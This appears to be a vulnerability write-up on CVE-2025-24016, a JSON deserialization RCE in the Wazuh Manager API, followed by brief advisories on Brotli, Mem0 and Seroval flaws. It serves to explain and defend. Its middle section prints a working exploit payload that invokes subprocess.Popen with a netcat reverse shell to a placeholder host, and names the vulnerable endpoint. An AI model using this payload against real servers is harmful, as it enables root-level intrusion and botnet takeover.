Feb 18, 2026·6 min read·265 visits
Critical RCE in Wazuh Manager (v4.4.0 - <4.9.1) via unsafe JSON deserialization in the API. Attackers can execute root-level commands by sending crafted JSON payloads containing special Python object hooks (like `__class__` and `__callable__`). Actively exploited by Mirai botnets.
In a twist of irony that would make Alanis Morissette proud, the Wazuh security platform—designed to hunt threats—became the threat itself. CVE-2025-24016 is a critical (CVSS 9.9) Remote Code Execution vulnerability residing in the Wazuh manager's API. By abusing a Python JSON deserialization feature intended for internal object reconstruction, attackers can force the server to execute arbitrary commands merely by sending a polite JSON request. Active in the wild and leveraged by Mirai botnets, this flaw turns your security dashboard into a command-and-control node for the very adversaries you were trying to keep out.
Wazuh is the darling of the open-source SIEM world. It gathers logs, monitors file integrity, and hunts for malware across thousands of endpoints. Ideally, it is the fortress that keeps the barbarians at the gate. But what happens when the gatekeeper decides to let anyone in as long as they say the secret password? In this case, the password wasn't even secret—it was just standard Python syntax.
The vulnerability, CVE-2025-24016, lies deep within the Distributed API (DAPI) framework of the Wazuh manager. This component creates a mesh network between the dashboard, master nodes, and worker nodes, allowing them to share complex data structures. To make this communication seamless, the developers needed a way to serialize Python objects into JSON and back again.
Here is the rub: serialization is hard. Deserialization is harder. And doing it blindly on untrusted input is a cardinal sin. The Wazuh team implemented a mechanism that essentially said, "If this JSON looks like a Python object, turn it into one." This effectively gave remote attackers the ability to instantiate arbitrary classes and call functions on the underlying operating system, turning the security manager into a puppet.
To understand this bug, we have to look at how Python handles JSON. The standard json.loads() function is safe by default—it turns JSON strings into simple dictionaries and lists. However, Python offers a feature called object_hook. This is a callback function that the decoder invokes for every dictionary it parses. It allows developers to convert a dictionary like {"type": "alert", "id": 1} into a proper Alert class instance automatically.
Wazuh implemented a custom hook, likely named as_wazuh_object (or similar logic within framework/wazuh/core/cluster/common.py). This function was designed to reconstruct exceptions and specific internal objects passed between nodes. It looked for "magic keys" in the JSON, specifically __class__, __args__, __callable__, and __unhandled_exc__.
When the code sees __class__, it dynamically imports the module and instantiates the class defined in the string. When it sees __callable__, it prepares to execute a function. This is functionally equivalent to the infamous pickle vulnerability, but implemented manually over JSON. The developer assumed this internal API would only ever process trusted data from other cluster nodes. They were wrong. The API endpoint /security/user/authenticate/run_as was exposed, and it passed user input directly to this deserialization logic.
Let's look at a reconstruction of the logic flow based on the vulnerability analysis. While the exact source lines have shifted in the fix, the logic flaw closely resembles this pattern:
# pseudo-code of the vulnerable logic in wazuh/core/cluster/common.py
def as_wazuh_object(dct):
if '__unhandled_exc__' in dct:
payload = dct['__unhandled_exc__']
if '__class__' in payload:
# DANGER: Dynamic import and instantiation
module_name, class_name = payload['__class__'].rsplit('.', 1)
module = __import__(module_name, fromlist=[class_name])
cls = getattr(module, class_name)
args = payload.get('__args__', [])
# The server creates an instance of ANY class you name
return cls(*args)
return dct
# The trigger
json.loads(user_input, object_hook=as_wazuh_object)The vulnerability is stark. There is no allowlist. There is no check to ensure the class being instantiated is a harmless WazuhError or ClusterMessage. If an attacker requests subprocess.Popen or os.system, the code dutifully imports the subprocess or os module and executes the command.
This is a classic case of "CWE-502: Deserialization of Untrusted Data." The developers built a powerful meta-programming feature to make their lives easier (passing exceptions across the cluster) but failed to realize that exposed APIs would grant that same power to unauthenticated or low-privileged users.
Exploiting this is trivially easy once you have access to the API. You don't need buffer overflows or heap spraying. You just need to speak JSON. The attack targets the run_as authentication endpoint, which parses the request body using the flawed hook.
An attacker constructs a JSON payload that describes the execution flow they want. Instead of sending a username, they send a blueprint for a shell command. Here is what a weaponized payload looks like:
{
"__unhandled_exc__": {
"__class__": "subprocess.Popen",
"__args__": [
"nc -e /bin/sh 10.0.0.1 4444",
{
"shell": true
}
]
}
}The Kill Chain:
/security/user/authenticate/run_as.json.loads encounters the dictionary.object_hook sees __unhandled_exc__ and parses the inner object.subprocess.Popen. It imports subprocess, finds Popen, and calls it with the arguments provided (nc -e ...).> [!WARNING] > This is not theoretical. Akamai SIRT has confirmed that Mirai botnets are actively using this exact technique to enslave Wazuh servers, turning them into DDoS nodes. The irony of a security tool performing a DDoS attack is palpable.
The impact of CVE-2025-24016 cannot be overstated. It is a solid 9.9 on the CVSS scale. Why not 10? likely only because it technically requires network access to the API port, though in many deployments, this is exposed to the internal network or the internet for dashboard access.
Consequences:
If you are running Wazuh versions 4.4.0 through 4.9.0, you are vulnerable. The fix was released in version 4.9.1.
Immediate Actions:
__unhandled_exc__, __class__, or __callable__. This is a high-fidelity signature for this exploit.The Fix Analysis:
In version 4.9.1, the developers modified the as_wazuh_object logic. Instead of dynamically importing whatever the JSON specifies, the new code likely checks the __class__ name against a hardcoded list of safe, internal Wazuh classes. If the class isn't on the list, the deserializer throws an error or returns a plain dictionary, neutralizing the RCE.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Wazuh Manager Wazuh | >= 4.4.0, < 4.9.1 | 4.9.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-502 (Deserialization of Untrusted Data) |
| CVSS Score | 9.9 (Critical) |
| Attack Vector | Network (API) |
| Exploit Status | Active / Weaponized (Mirai) |
| EPSS Score | 93.80% |
| KEV Listed | Yes (June 10, 2025) |
The application deserializes untrusted data without sufficiently verifying that the resulting data will be valid.
CVE-2026-111497, tracked in threat intelligence under the aliases Node2Shell, Broccoli2Shell, and HTTP2Shell, is a critical out-of-bounds heap write and denial-of-service vulnerability in the reference Google Brotli decompression library (c/dec/decode.c). The flaw originates from an unchecked return value and error-code conflation in DecodeBlockTypeAndLength() when processing malformed streams with single-block-type declarations (max_block_type <= 1). On the fast decoding path, the ignored error return causes the 32-bit unsigned block_length counter to underflow from 0 to UINT32_MAX (0xFFFFFFFF), corrupting internal decoder tables and enabling arbitrary heap memory overwrites via memmove16(). On the streaming path, the error return is misinterpreted as an incomplete bit-stream, trapping the worker process in an infinite 100% CPU loop. Because Google Brotli is embedded across major runtimes and infrastructure components—including Node.js, Envoy Proxy, Microsoft .NET, Istio, and Python—the vulnerability exposes a broad attack surface via standard HTTP Content-Encoding: br request and response bodies.
CVE-2026-116575 (GHSA-5324-3w58-qpp2) is an unescaped delimiter injection and canonicalization flaw in the Mem0 persistent memory platform for AI agents and applications. Prior to Python SDK version 2.0.18 and TypeScript SDK version 3.1.6, the session scope key construction functions join caller-controlled user_id, agent_id, and run_id identifiers using raw '=' and '&' delimiters without sanitization. An attacker who controls one of these identifiers in a multi-tenant deployment can inject delimiter sequences to force a string collision with a target tenant's session scope key, resulting in unauthorized disclosure, poisoning, or eviction of the target tenant's recent conversation buffer.
Seroval versions prior to 1.6.8 contain an insecure deserialization vulnerability (CWE-502) in the `fromJSON` parser. When reconstructing `AsyncIteratorFactoryInstance` or `IteratorFactoryInstance` nodes, the deserializer verifies the source node type using its identifier in the AST lookup table rather than verifying the runtime identity of the deserialized object. Because unmarked node identifiers omitted from the `m` reference array can be reused in vanilla deserialization mode, an attacker can substitute an arbitrary plain object or plugin-produced value as the stream source. This causes the runtime to invoke `.on(listener)` on an attacker-controlled target.
A Denial of Service (DoS) vulnerability exists in the Seroval JavaScript serialization library affecting versions 1.4.1 through 1.6.7. The deserialization routines fromJSON and fromCrossJSON fail to verify that node element lists are actual JavaScript Array primitives before reading their length property. An unauthenticated remote attacker can supply a compact, malformed JSON payload containing an array-like object with an arbitrary length value, causing unbounded memory allocation and synchronous loop iterations that block the event loop or crash the process via heap exhaustion.
Seroval, a JavaScript serialization library used for transferring complex structures across network boundaries, contains an input validation vulnerability in versions prior to 1.6.8. The `fromJSON` and `fromCrossJSON` deserializers fail to validate array element lists and the termination boundaries (`done` and `throw` indices) of sequence nodes. By supplying out-of-bounds indices or forged array-like structures, an unauthenticated remote attacker can construct an iterator with an unreachable exit condition or trigger excessive loop iterations, halting the single-threaded JavaScript event loop and causing a denial of service.
CVE-2026-116582 is an improper output escaping vulnerability in the Seroval JavaScript serialization library that leads to cross-site scripting (XSS). When Seroval serializes RegExp objects into executable JavaScript literals for embedding in HTML script elements, it fails to neutralize the less-than character ('<'). If an application constructs a regular expression from untrusted input and embeds the serialized output inside an inline script block during server-side rendering (SSR), an attacker can inject a closing script tag to break out of the JavaScript context and execute arbitrary client-side code.